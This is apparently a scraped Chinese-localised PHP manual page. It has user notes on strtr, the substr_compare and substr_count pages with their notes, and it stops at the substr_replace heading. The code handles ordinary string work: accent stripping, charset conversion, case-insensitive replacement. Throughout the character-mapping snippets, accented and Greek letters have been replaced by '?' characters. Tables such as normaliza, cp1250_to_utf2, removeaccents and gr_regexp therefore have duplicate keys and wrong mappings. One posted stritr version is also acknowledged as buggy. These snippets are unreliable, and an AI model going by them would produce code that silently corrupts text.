        'à'=>'a', 'á'=>'a', 'a'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'c', 'è'=>'e', 'é'=>'e',
        'ê'=>'e', '?'=>'e', 'ì'=>'i', 'í'=>'i', '?'=>'i', '?'=>'i', 'e'=>'o', '?'=>'n', 'ò'=>'o', 'ó'=>'o',
        '?'=>'o', '?'=>'o', '?'=>'o', '?'=>'o', 'ù'=>'u', 'ú'=>'u', '?'=>'u', 'y'=>'y', 'y'=>'y', 't'=>'b',
        '?'=>'y', '?'=>'R', '?'=>'r',
    );

    return strtr($string, $table);
}

?>
Sidney Ricardo 05-Sep-2008 11:54
This work fine to me:

<?php
function normaliza ($string){
    $a = 'àá??????èéê?ìí??D?òó????ùú?üYT
?àáa?????èéê?ìí??e?òó????ùú?yyt???';
    $b = 'aaaaaaaceeeeiiiidnoooooouuuuy
bsaaaaaaaceeeeiiiidnoooooouuuyybyRr';
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode($a), $b);
    $string = strtolower($string);
    return utf8_encode($string);
}
?>
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 04:09
OK, I debugged the function (had some errors)
Here it is:

if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                if(  count( $one ) <= 0  )break;
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $one[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $one[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 10:44
Here is the stritr I always needed... I wrote it in 15 minutes... But only after the idea struck me. Hope you find it helpful, and enjoy...
<?php
if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $positions[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $positions[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
?>
troelskn at gmail dot com 23-Jan-2008 03:39
Here's another transcribe function. This one converts cp1252 (aka. Windows-1252) into iso-8859-1 (aka. latin1, the default PHP charset). It only transcribes the few exotic characters, which are unique to cp1252.

function transcribe_cp1252_to_latin1($cp1252) {
  return strtr(
    $cp1252,
    array(
      "\x80" => "e",  "\x81" => " ",    "\x82" => "'", "\x83" => 'f',
      "\x84" => '"',  "\x85" => "...",  "\x86" => "+", "\x87" => "#",
      "\x88" => "^",  "\x89" => "0/00", "\x8A" => "S", "\x8B" => "<",
      "\x8C" => "OE", "\x8D" => " ",    "\x8E" => "Z", "\x8F" => " ",
      "\x90" => " ",  "\x91" => "`",    "\x92" => "'", "\x93" => '"',
      "\x94" => '"',  "\x95" => "*",    "\x96" => "-", "\x97" => "--",
      "\x98" => "~",  "\x99" => "(TM)", "\x9A" => "s", "\x9B" => ">",
      "\x9C" => "oe", "\x9D" => " ",    "\x9E" => "z", "\x9F" => "Y"));
ajitsingh4u at gmail dot com 06-Aug-2007 07:36
/**
* Replaces special characters with single quote,double quote and comma for charset iso-8859-1
*
* replaceSpecialChars()
* @param string $str
* @return string
*/
function replaceSpecialChars($str)
{
    //`(96) '(130) ?(132) '(145) '(146) "(147) "(148) ′(180)   // equivalent ascii values of these characters.
    $str = strtr($str, "`'?''′", "'','''");
    $str = strtr($str, '""', '""');
    return $str;
}
horak.jan AT centrum.cz 22-May-2007 07:11
Here is a function to convert middle-european windows charset (cp1250) to the charset, that php script is written in:

<?php
    function cp1250_to_utf2($text){
        $dict  = array(chr(225) => 'á', chr(228) =>  '?', chr(232) => '?', chr(239) => '?',
            chr(233) => 'é', chr(236) => 'ě', chr(237) => 'í', chr(229) => '?', chr(229) => '?',
            chr(242) => 'ň', chr(244) => '?', chr(243) => 'ó', chr(154) => '?', chr(248) => '?',
            chr(250) => 'ú', chr(249) => '?', chr(157) => '?', chr(253) => 'y', chr(158) => '?',
            chr(193) => 'á', chr(196) => '?', chr(200) => '?', chr(207) => '?', chr(201) => 'é',
            chr(204) => 'ě', chr(205) => 'í', chr(197) => '?',    chr(188) => '?', chr(210) => '?',
            chr(212) => '?', chr(211) => 'ó', chr(138) => '?', chr(216) => '?', chr(218) => 'ú',
            chr(217) => '?', chr(141) => '?', chr(221) => 'Y', chr(142) => '?',
            chr(150) => '-');
        return strtr($text, $dict);
    }
?>
joeldegan AT yahoo 07-Apr-2006 08:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
    $good[] = 9;  #tab
    $good[] = 10; #nl
    $good[] = 13; #cr
    for($a=32;$a<127;$a++){
        $good[] = $a;
    }
    $len = strlen($str);
    for($b=0;$b < $len+1; $b++){
        if(in_array(ord($str[$b]), $good)){
            $newstr .= $str[$b];
        }//fi
    }//rof
    return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com 29-Dec-2005 07:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz 20-Dec-2005 02:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

    $str = StrTr($str,
        "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
        "\x61\x63\x64\x65\x65\x69\x6E");

    $str = StrTr($str,
        "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
        "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

    $str = StrTr($str,
        "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
        "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

    $str = StrTr($str,
        "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
        "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

    return $str;
}
?>
Ezbakhe Yassin <yassin88 at gmail dot com> 31-Aug-2005 03:55
Here you are a simple function to rotate a variable according to an array of possible values. You can make a strict comparison (===).

<?php
function rotateValue($string, $values, $strict = TRUE)
{
    if (!empty($string) AND is_array($values))
    {
        $valuesCount = count($values);

        for ($i = 0; $i < $valuesCount; $i++)
        {
            if ($strict ? ($string === $values[$i]) : ($string == $values[$i]))
            {
                return $values[($i + 1) % $valuesCount];
            }
        }
    }

    return FALSE;
}
?>

For example:

- rotateValue("A", array("A", "B", "C")) will return "B"
- rotateValue("C", array("A", "B", "C")) will return "A"
ru dot dy at gmx dot net 10-Jul-2005 04:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
patrick at p-roocks dot de 06-Feb-2005 02:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
11-Dec-2004 05:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
oliver at modix dot de 22-Oct-2004 01:08
Replace control characters in a binary string:
<?

function cc_replace($in) {
        for ($i = 0; $i <= 31; $i++) {
                $from  .= chr($i);
                $to    .= ".";
        }
        return strtr($in, $from, $to);
}

?>
ktogias at math dot upatras dot gr 23-Sep-2004 03:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
        $replacement=array(
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?")
        );
        foreach($replacement as $group){
                foreach($group as $character){
                        $exp="[";
                        foreach($group as $expcharacter){
                                $exp.=$expcharacter;
                        }
                        $exp.="]";
                        $trans[$character]=$exp;
                }
        }
        $temp=explode(" ", $mystring);
        for ($i=0;$i<sizeof($temp);$i++){
                $temp[$i]=strtr($temp[$i],$trans);
                $temp[$i]=addslashes($temp[$i]);
        }
        return implode(".*",$temp);
}

$match=gr_regexp("????????????????????? ??? ????????");

//The next query string can be sent to MySQL
through mysql_query()
$query=
      "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
volkris at tamu dot edu 19-Mar-2004 06:25
Regarding christophe's conversion, note that the \x## values should be in double quotes, not single, so that the escape will be applied.
stewey at ambitious dot ca 04-Mar-2004 06:11
This version of macRomanToIso (originally posted by: marcus at synchromedia dot co dot uk) offers a couple of improvements. First, it removes the extra slashes '\' that broke the original function. Second, it adds four quote characters not supported in ISO 8859-1. These are the left double quote, right double quote, left single quote and right single quote.

Be sure to remove the line breaks from the two strings going into strtr or this function will not work properly.

Be careful what text you apply this to. If you apply it to ISO 8859-1 encoded text it will likely wreak havoc. I'll save you some trouble with this bit of advice: don't bother trying to detect what charset a certain text file is using, it can't be done reliably. Instead, consider making assumptions based upon the HTTP_USER_AGENT, or prompting the user to specify the character encoding used (perhaps both).

<?php

/**
 * Converts MAC OS ROMAN encoded strings to the ISO 8859-1 charset.
 *
 * @param    string    the string to convert.
 * @return    string    the converted string.
 */
function macRomanToIso($string)
{
    return strtr($string,
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b
\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa4\xa6\xa7
\xa8\xab\xac\xae\xaf\xb4\xbb\xbc\xbe\xbf\xc0\xc1
\xc2\xc7\xc8\xca\xcb\xcc\xd6\xd8\xdb\xe1\xe5\xe6
\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf1\xf2\xf3
\xf4\xf8\xfc\xd2\xd3\xd4\xd5",
"\xc4\xc5\xc7\xc9\xd1\xd6\xdc\xe1\xe0\xe2\xe4\xe3
\xe5\xe7\xe9\xe8\xea\xeb\xed\xec\xee\xef\xf1\xf3
\xf2\xf4\xf6\xf5\xfa\xf9\xfb\xfc\xb0\xa7\xb6\xdf\xae
\xb4\xa8\xc6\xd8\xa5\xaa\xba\xe6\xf8\xbf\xa1\xac
\xab\xbb\xa0\xc0\xc3\xf7\xff\xa4\xb7\xc2\xca\xc1
\xcb\xc8\xcd\xce\xcf\xcc\xd3\xd4\xd2\xda\xdb\xd9
\xaf\xb8\x22\x22\x27\x27");
}

?>
j at pureftpd dot org 30-Nov-2003 08:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
    return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli 29-Oct-2003 01:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
              $text = strtr($text, $double_break);
              $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
hotmail - marksteward 26-Nov-2002 07:39
Referring to note from 11 October 2000, Thorn (?, ?), Eth (?, ?), Esset (?) and Mu (?) aren't really accented letters.  ?, ?, ?, ? are ligatures.  Best to do the following:

function removeaccents($string){
 return strtr(
  strtr($string,
   '????????????????????????????????????????????????????????????',
   'SZszYAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy'),
  array('?' => 'TH', '?' => 'th', '?' => 'DH', '?' => 'dh', '?' => 'ss',
   '?' => 'OE', '?' => 'oe', '?' => 'AE', '?' => 'ae', '?' => 'u'));
}

This would be no good for sorting, as thorn and eth aren't actually found under th and dh.  Also especially redundant because of Unicode!  Still, I'm sure somone can find use for it - perhaps to constrict filenames...

Mark
m dot frank at beam dot ag 22-Nov-2002 05:12
to get the ascii equivalent of unicode characters simply use the

utf8_decode() function
bisqwit at iki dot fi 10-Aug-2002 10:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
              'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu 17-Jul-2002 05:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the ? by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com 18-Apr-2002 09:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
    function str_rot13($str) {
        $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $to   = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

        return strtr($str, $from, $to);
    }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se 23-Nov-2001 09:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.


二进制安全比较字符串（从偏移位置比较指定长度）

  • ? strtr
  • substr_count ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串（从偏移位置比较指定长度）

substr_compare

(PHP 5, PHP 7)

substr_compare — 二进制安全比较字符串（从偏移位置比较指定长度）

说明

substr_compare ( string $main_str , string $str , int $offset [, int $length [, bool $case_insensitivity = FALSE ]] ) : int

substr_compare() 从偏移位置 offset 开始比较 main_str 与 str，比较长度为 length 个字符。

参数

main_str

待比较的第一个字符串。

str

待比较的第二个字符串。

offset

比较开始的位置。如果为负数，则从字符串结尾处开始算起。

length

比较的长度。默认值为 str 的长度与 main_str 的长度减去位置偏移量 offset 后二者中的较大者。

case_insensitivity

如果 case_insensitivity 为 TRUE，比较将不区分大小写。

返回值

如果 main_str 从偏移位置 offset 起的子字符串小于 str，则返回小于 0 的数；如果大于 str，则返回大于 0 的数；如果二者相等，则返回 0。如果 offset 大于等于 main_str 的长度或 length 被设置为小于 1 的值（ PHP 5.5.11 之前的版本），substr_compare() 将打印出一条警告信息并且返回 FALSE。

更新日志

版本 | 说明
5.5.11 | length 可以是 0。
5.1.0 | 允许使用负数的 offset 参数。

范例

Example #1 substr_compare() 范例

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "de", -2, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // warning
?>

参见

  • strncmp() - 二进制安全比较字符串开头的若干个字符

User Contributed Notes

bishop at php dot net 03-Oct-2016 07:28
This function efficiently implements checks for strings beginning or ending with other strings:

<?php

function str_begins($haystack, $needle) {
  return 0 === substr_compare($haystack, $needle, 0, strlen($needle));
}

function str_ends($haystack,  $needle) {
  return 0 === substr_compare($haystack, $needle, -strlen($needle));
}

var_dump(str_begins('http://example.com', 'https://'));

?>

Note that these are not multi-byte character set aware.
jimmetry at gmail dot com 16-Dec-2012 12:31
When you came to this page, you may have been looking for something a little simpler: A function that can check if a small string exists within a larger string starting at a particular index. Using substr_compare() for this can leave your code messy, because you need to check that your string is long enough (to avoid the warning), manually specify the length of the short string, and like many of the string functions, perform an integer comparison to answer a true/false question.

I put together a simple function to return true if $str exists within $mainStr. If $loc is specified, the $str must begin at that index. If not, the entire $mainStr will be searched.

<?php

function contains_substr($mainStr, $str, $loc = false) {
    if ($loc === false) return (strpos($mainStr, $str) !== false);
    if (strlen($mainStr) < strlen($str)) return false;
    if (($loc + strlen($str)) > strlen($mainStr)) return false;
    return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0);
}

?>
Skyborne 03-Aug-2012 01:55
Take note of the `length` parameter: "The default value is the largest of the length of the str compared to the length of main_str less the offset."

This is *not* the length of str as you might (I always) expect, so if you leave it out, you'll get unexpected results.  Example:

<?php
$hash = '$5$lalalalalalalala$crypt.output.here';
var_dump(substr_compare($hash, '$5$', 0)); # int(34)
var_dump(substr_compare($hash, '$5$', 0, 3)); # int(0)
var_dump(PHP_VERSION); # string(6) "5.3.14"
?>
sleek 23-May-2005 05:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
    function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
        $offset = (int) $offset;

        // Throw a warning because the offset is invalid
        if ($offset >= strlen($main_str)) {
            trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
            return false;
        }

        // We are comparing the first n-characters of each string, so let's use the PHP function to do it
        if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
            return strncasecmp($main_str, $str, $length);
        }

        // Get the substring that we are comparing
        if (is_int($length)) {
            $main_substr = substr($main_str, $offset, $length);
            $str_substr = substr($str, 0, $length);
        } else {
            $main_substr = substr($main_str, $offset);
            $str_substr = $str;
        }

        // Return a case-insensitive comparison of the two strings
        if ($case_insensitivity === true) {
            return strcasecmp($main_substr, $str_substr);
        }

        // Return a case-sensitive comparison of the two strings
        return strcmp($main_substr, $str_substr);
    }
}
?>


计算字串出现的次数

  • ? substr_compare
  • substr_replace ?
  • PHP Manual
  • 字符串 函数
  • 计算字串出现的次数

substr_count

(PHP 4, PHP 5, PHP 7)

substr_count — 计算字串出现的次数

说明

substr_count ( string $haystack , string $needle [, int $offset = 0 [, int $length ]] ) : int

substr_count() 返回子字符串needle 在字符串 haystack 中出现的次数。注意 needle 区分大小写。

Note:

该函数不会计算重叠字符串。参见下面的例子。

参数

haystack

在此字符串中进行搜索。

needle

要搜索的字符串。

offset

开始计数的偏移位置。如果是负数，就从字符的末尾开始统计。

length

指定偏移位置之后的最大搜索长度。如果偏移量加上这个长度的和大于 haystack 的总长度，则打印警告信息。 负数的长度 length 是从 haystack 的末尾开始统计的。

返回值

该函数返回整型。

更新日志

版本 | 说明
7.1.0 | 开始支持负数的 offset 和 length。
5.1.0 | 新增 offset 和 length 参数。

范例

Example #1 substr_count() 范例

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// 字符串被简化为 's is a test'，因此输出 1
echo substr_count($text, 'is', 3);

// 字符串被简化为 's i'，所以输出 0
echo substr_count($text, 'is', 3, 3);

// 因为 5+10 > 14，所以生成警告
echo substr_count($text, 'is', 5, 10);

// 输出 1，因为该函数不计算重叠字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

参见

  • count_chars() - 返回字符串所用字符的信息
  • strpos() - 查找字符串首次出现的位置
  • substr() - 返回字符串的子串
  • strstr() - 查找字符串的首次出现

User Contributed Notes

tuxedobob 18-Apr-2016 06:55
It's worth noting this function is surprisingly fast. I first ran it against a ~500KB string on our web server. It found 6 occurrences of the needle I was looking for in 0.0000 seconds. Yes, it ran faster than microtime() could measure.

Looking to give it a challenge, I then ran it on a Mac laptop from 2010 against a 120.5MB string. For one test needle, it found 2385 occurrences in 0.0266 seconds. Another test needs found 290 occurrences in 0.114 seconds.

Long story short, if you're wondering whether this function is slowing down your script, the answer is probably not.
tweston at bangordailynews dot com 15-Apr-2015 03:10
To account for the case that jrhodes has pointed out, we can change the line to:

substr_count ( implode( ',', $haystackArray ), $needle );

This way:

array (
  0 => "mystringth",
  1 => "atislong"
);

Becomes

mystringth,atislong

Which brings the count for $needle = "that" to 0 again.
php at blink dot at 07-Jul-2014 01:30
This will handle a string where it is unknown if comma or period are used as thousand or decimal separator. Only exception where this leads to a conflict is when there is only a single comma or period and 3 possible decimals (123.456 or 123,456). An optional parameter is passed to handle this case (assume thousands, assume decimal, decimal when period, decimal when comma). It assumes an input string in any of the formats listed below.

function toFloat($pString, $seperatorOnConflict="f")
{
    $decSeperator=".";
    $thSeperator="";

    $pString=str_replace(" ", $thSeperator, $pString);

    $firstPeriod=strpos($pString, ".");
    $firstComma=strpos($pString, ",");
    if($firstPeriod!==FALSE && $firstComma!==FALSE) {
        if($firstPeriod<$firstComma) {
            $pString=str_replace(".", $thSeperator, $pString);
            $pString=str_replace(",", $decSeperator, $pString);
        }
        else {
            $pString=str_replace(",", $thSeperator, $pString);
        }
    }
    else if($firstPeriod!==FALSE || $firstComma!==FALSE) {
        $seperator=$firstPeriod!==FALSE?".":",";
        if(substr_count($pString, $seperator)==1) {
            $lastPeriodOrComma=strpos($pString, $seperator);
            if($lastPeriodOrComma==(strlen($pString)-4) && ($seperatorOnConflict!=$seperator && $seperatorOnConflict!="f")) {
                $pString=str_replace($seperator, $thSeperator, $pString);
            }
            else {
                $pString=str_replace($seperator, $decSeperator, $pString);
            }
        }
        else {
            $pString=str_replace($seperator, $thSeperator, $pString);
        }
    }
    return(float)$pString;
}

function testFloatParsing() {
    $floatvals = array(
        "22 000",
        "22,000",
        "22.000",
        "123 456",
        "123,456",
        "123.456",
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>thousands</th>
            <th>fraction</th>
            <th>dec. if period</th>
            <th>dec. if comma</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) toFloat($fval, "") . "</td>";
        echo "<td>" . (float) toFloat($fval, "f") . "</td>";
        echo "<td>" . (float) toFloat($fval, ".") . "</td>";
        echo "<td>" . (float) toFloat($fval, ",") . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
qeremy [atta] gmail [dotta] com 20-Sep-2013 08:45
Unicode example with "case-sensitive" option;

<?php
function substr_count_unicode($str, $substr, $caseSensitive = true, $offset = 0, $length = null) {
    if ($offset) {
        $str = substr_unicode($str, $offset, $length);
    }

    $pattern = $caseSensitive
        ? '~(?:'. preg_quote($substr) .')~u'
        : '~(?:'. preg_quote($substr) .')~ui';
    preg_match_all($pattern, $str, $matches);

    return isset($matches[0]) ? count($matches[0]) : 0;
}

function substr_unicode($str, $start, $length = null) {
    return join('', array_slice(
        preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY), $start, $length));
}

$s = 'ümit yüzüm g?züm...';
print substr_count_unicode($s, 'ü');            // 3
print substr_count_unicode($s, 'ü', false);     // 4
print substr_count_unicode($s, 'ü', false, 10); // 1

print substr_count_unicode($s, 'üm');           // 2
print substr_count_unicode($s, 'üm', false);    // 3
?>
chrisstocktonaz at gmail dot com 26-Aug-2009 04:52
In regards to anyone thinking of using code contributed by zmindster at gmail dot com

Please take careful consideration of possible edge cases with that regex, in example:

$url = 'http://w3.host.tld/path/to/file/..../file.extension';
$url = 'http://w3.host.tld/path/to/file/../file.extension?malicous=....';

This would cause a infinite loop and for example be a possible entry point for a denial of service attack. A correct fix would require additional code, a quick hack would be just adding a additional check, without clarity or performance in mind:

...
$i = 0;
while (substr_count($url, '../') && ++$i < strlen($url))
...

-Chris
jrhodes at roket-enterprises dot com 18-Jun-2009 01:37
It was suggested to use

substr_count ( implode( $haystackArray ), $needle );

instead of the function described previously, however this has one flaw.  For example this array:

array (
  0 => "mystringth",
  1 => "atislong"
);

If you are counting "that", the implode version will return 1, but the function previously described will return 0.
gigi at phpmycoder dot com 12-Jan-2009 08:17
below was suggested a function for substr_count'ing an array, yet for a simpler procedure, use the following:

<?php
substr_count ( implode( $haystackArray ), $needle );
?>
info at fat-fish dot co dot il 05-May-2007 04:07
a simple version for an array needle (multiply sub-strings):
<?php

function substr_count_array( $haystack, $needle ) {
     $count = 0;
     foreach ($needle as $substring) {
          $count += substr_count( $haystack, $substring);
     }
     return $count;
}
?>
flobi at flobi dot com 25-Oct-2006 07:07
Making this case insensitive is easy for anyone who needs this.  Simply convert the haystack and the needle to the same case (upper or lower).

substr_count(strtoupper($haystack), strtoupper($needle))
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX 21-Dec-2003 01:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.


替换字符串的子串

  • ? substr_count
  • substr ?
  • PHP Manual
  • 字符串 函数
  • 替换字符串的子串

substr_replace

(PHP 4, PHP 5, PHP 7)

substr_replace — 替换字符串的子串

说明

